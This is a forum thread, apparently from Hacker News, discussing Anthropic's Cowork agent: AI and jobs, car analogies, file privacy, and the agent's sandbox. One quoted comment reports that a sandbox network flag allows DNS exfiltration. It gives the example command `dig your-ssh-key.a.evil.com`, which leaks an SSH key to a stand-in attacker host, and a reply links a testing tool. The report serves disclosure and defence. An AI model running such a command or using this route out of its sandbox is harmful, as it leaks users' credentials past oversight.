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Re: Cowork: Claude Code for the rest of your work

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No, but if they could, they would. That’s what’s being debated here. Whether people would, not should.

Should we restructure society so that having a private airplane is easier and cheaper, but if you don't have one you'll have serious trouble in daily life?

No

Re: Cowork: Claude Code for the rest of your work

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Many people will have to ask themselves these question soon regardless of their actions. I don't understand the critique here.

It's more like just pondering out loud how automating ourselves out of a job in an economic system that requires us to have a job is going to pan out for the large majority of people in the coming years.

As someone who has been pondering this very question since 2015, I'm starting to think we have been:

- underestimating how much range humans have in their intelligence and how important it is to productivity.

- overestimating how close LLMs are to replicating that range and underestimating how hard it will be for AI to reach it

- underestimating human capacity to become dissatisfied and invent more work for people to do

- underestimating unmet demand for the work people are doing that LLMs can make orders of magnitude more efficient

I was pretty convinced of the whole "post scarcity" singularity U mindset up until the last year or two... My confidence is low, but I'm now leaning more towards jevins paradox abound and a very slow super intelligence takeoff with more time for the economy to adapt.

The shift in my view has come from spending thousands of hours working with LLMs to code and building applications powered by LLMs, trying to get them to do things and constantly running into their limitations, and noting how the boundary of their limitations have been changing over time. (Looks more like S-curve to me than exponential takeoff). Also some recent interviews by some of the leading researchers, and spending a few hundred hours studying the architecture of human brain and theories regarding intelligence.

Re: Cowork: Claude Code for the rest of your work

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Worth calling out that execution runs in a full virtual machine with only user-selected folders mounted in. CC itself runs, if the user set network rules, with https://github.com/anthropic-experimental/sandbox-runtime . There is much more to do - and our docs reflect how early this is - but we're investing in making progress towards something that's "safe".

> By default, all network access is denied. Your `network.allowLocalBinding` flag, when enabled, allows data exfiltration via DNS. This isn't clear from the docs. I made an issue for that here: https://github.com/anthropic-experimental/sandbox-runtime/is... How it works: `dig your-ssh-key.a.evil.com` sends evil.com your ssh key via recursive DNS resolution; Google/Cloudflare/etc DNS servers effectively proxies the in…

Might be useful for testing the DNS vector:

https://github.com/k-o-n-t-o-r/dnsm

Re: Cowork: Claude Code for the rest of your work

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That seems like a somewhat ridiculous objection. Should everybody start owning their own private planes to avoid people with BO at airplanes?

No, but if they could, they would. That’s what’s being debated here. Whether people would, not should.

Is this some culture or region or climate related thing? I’ve never heard of BO brought up as a reason to avoid public transport or flying commercial in northern parts of Europe. Nor have I experienced any olfactory disturbance, apart from the occasional young man or woman going a tad overboard with perfume on the weekends.

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I have my bank statements on a drive on a cloud. We are way past that phase.

I send my bank statements to Gemini to analyze. It's not like bank statements contain anything too sensitive.

Some of them stupidly print the account number on them. I mean, we do had out our account and routing number to people on checks, but we don’t give checks to the entire Internet.

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Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…

People love their cars, what are you talking about

No, people hate being trapped without a car in an environment built exclusively to serve cars. Our love of cars is largely just downstream of negative emotions like FOMO or indignation caused by the inability to imagine traveling by any other mode (because on most cases that's not even remotely feasible anymore).

Re: Cowork: Claude Code for the rest of your work

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Considering the ubiquity and necessity of driving cars is overwhelmingly a result of intentional policy choices irrespective of what people wanted or was good for the public interest... actually that's quite a decent analogy for integrated LLM assistants. People will use AI because other options keep getting worse and because it keeps getting harder to avoid using it. I don't think it's fair to characterize that as c…

What has gotten worse without AI? I don't think writing or coding is inherently harder. Google search may be worse but I've heard Kagi is still pretty great. Apple Intelligence feels like it's easy to get rid of on their platforms, for better and worse. If you're using Windows that might get annoying, personally I just use LTSC.

The skills of writing and coding atrophy when replaced by generative AI. The more we use AI to do thinking in some domain, the less we will be able to do that thinking ourselves. It's not a perfect analogy for car infrastructure.

Yeah Kagi is good, but the web is increasingly dogshit, so if you're searching in a space where you don't already have trusted domains for high quality results, you may just end up being unable to find anything reliable even with a good engine.

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Can humans do nothing now? Is it that hard to pick the potatoes yourself? You already planted them in rows (nature already does this). is it that hard to water them yourself? also feels insincere to tell your neighbor you grew those potatoes when a machine did everything.

Yeah lets compare organising a desktop with planting potatoes. Tractors didn't need subscription, entire thing was owned by you. Automation in agriculture started the income inequality we still see today as Rich landowners didnt need to pay many people. Later the fertilizers and industrial agriculture led to dust bowls. But yeah it was all good right?

damn, didnt think i would get pushback from the anti-plow lobby. Why are you on a technology forum if you hate technology?

Re: Cowork: Claude Code for the rest of your work

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It’s how the LLM works. Anything accessed by the agent in the folder becomes input to the model. That’s what it means for the agent to access something. Those inputs are already “Input” in the ToS sense.

That an LLM needs input tokens to produce output was understood. That is not what the privacy policy is about. To me the policy reads Anthropic also subsequently persists ( “collects” ) your data. That is the point I was hoping to get clarified.

The only thing Anthropic receives is the chat session. Files only ever get sent when they are included in the session - they are never sent to Anthropic otherwise.

Note that I am talking about this product where the Claude session is running locally (remote LLM of course, but local Claude Code). They also have a "Claude Code on the Web" thing where the Claude instance is running on their server. In principle, they could be collecting and training on that data even if it never enters a session. But this product is running on your computer, and Anthropic only sees files pulled in by tool calls.

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